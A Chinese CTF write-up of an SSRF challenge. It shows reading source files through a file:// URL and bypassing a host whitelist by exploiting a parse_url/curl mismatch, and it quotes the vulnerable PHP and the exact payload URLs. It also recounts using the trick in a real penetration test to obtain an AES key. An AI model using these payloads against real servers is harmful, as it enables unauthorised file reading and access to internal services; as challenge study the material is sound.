打开首页显示(我打开的是测试页面)
查看源码得到两个个链接
http://101.89.140.207:8044/phpinfo.php phpinfo的信息,暂时不知道有什么用
http://101.89.140.207:8044/url.php?url=https://ctf.pediy.com/upload/team/762/team236762.png
感觉是请求了图片显示在页面,猜测可能有SSRF漏洞
测试http://101.89.140.207:8044/url.php?url=https://www.baidu.com
返回error,猜测可能限制了域名
测试http://101.89.140.207:8044/url.php?url=127.0.0.1/index.php
返回host is null,搞不清楚什么情况,试试读文件
http://101.89.140.207:8044/url.php?url=file:///proc/self/cwd/url.php
返回host is null
通过链接:view-source:http://101.89.140.207:8044/url.php?url=file://127.0.0.1/proc/self/cwd/url.php
成功读取到代码
<?php
function curl_request($url, $data=null, $method='get', $header = array("content-type: application/json"), $https=true, $timeout = 5){
$method = strtoupper($method);
$ch = curl_init();//初始化
curl_setopt($ch, CURLOPT_URL, $url);//访问的URL
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);//只获取页面内容,但不输出
if($https){
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);//https请求 不验证证书
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);//https请求 不验证HOST
}
if ($method != "GET") {
if($method == 'POST'){
curl_setopt($ch, CURLOPT_POST, true);//请求方式为post请求
}
if ($method == 'PUT' || strtoupper($method) == 'DELETE') {
curl_setopt($ch, CURLOPT_CUSTOMREQUEST, $method); //设置请求方式
}
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);//请求数据
}
curl_setopt($ch, CURLOPT_TIMEOUT, $timeout);
curl_setopt($ch, CURLOPT_HTTPHEADER, $header); //模拟的header头
//curl_setopt($ch, CURLOPT_HEADER, false);//设置不需要头信息
$result = curl_exec($ch);//执行请求
curl_close($ch);//关闭curl,释放资源
return $result;
}
$url=$_GET["url"];
$uu=parse_url($url);
$host=isset($uu["host"])?$uu["host"]:"";
$scheme=isset($uu["scheme"])?$uu["scheme"]:"";
if(empty($host)){
die("host is null");
}
if(empty($scheme)){
die("scheme is null");
}
//https://ctf.pediy.com/upload/team/762/team236762.png?
if($host=="ctf.pediy.com"||$host=="127.0.0.1"||$host=="localhost"){
//echo curl_request("http://123.57.254.42/flag.php","get",[],true,5);//get flag
echo curl_request($url,'',"get",[],true,5);
}else{
die("host not allow");
}
?>
原来是使用了curl,同时发现了一个新的被注释掉的地址http://123.57.254.42/flag.php
这个地址访问应该就能得到flag,然而情况并没有这么简单,提示了IP错误,看来需要以我们这台服务器发起SSRF请求才能绕过这个限制
但是这里要检查host是否为ctf.pediy.com,127.0.0.1和localhost而这个host和scheme时通过parse_url函数得到的。
这里就需要用到phpinfo的提示了,这里显示php版本为7.3.11,其实经过测试,php7.3.12和7.3.11(其他版本未测试),在进行curl请求的时候,表现比较怪异
这样的请求,parse_url得到的host是ctf.pediy.com但是curl实际请求的又是127.0.0.1。这样就造成了一个SSRF漏洞。于是我们构造链接
http://101.89.140.207:8044/url.php?url=123.57.254.42://ctf.pediy.com/../flag.php
//flag.php.bak代码
<?php
$ip=$_SERVER["REMOTE_ADDR"];
if($ip=="101.89.140.207"){
echo "flag{...}";
}else{
echo "error ip";
}
?>
总结:以上curl_request的代码是从百度上搜索到的常用curl封装代码,apache+php7.3.11也是默认安装,而且即使是高版本的php,curl读取文件的问题还是存在,因此使用这样的默认封装代码是否安全有待商榷。
灵感来源于一次渗透过程中,数据库关键字段采用了AES加密,审计代码发现秘钥写在另外一个http://xxx.com/key的链接里面的,尝试访问提示IP错误,通过受控服务器访问成功获取到AES秘钥。
[CTF入门培训]顶尖高校博士及硕士团队亲授《30小时教你玩转CTF》,视频+靶场+题目!助力进入CTF世界
最后于 2022-5-17 12:04
被kanxue编辑
,原因: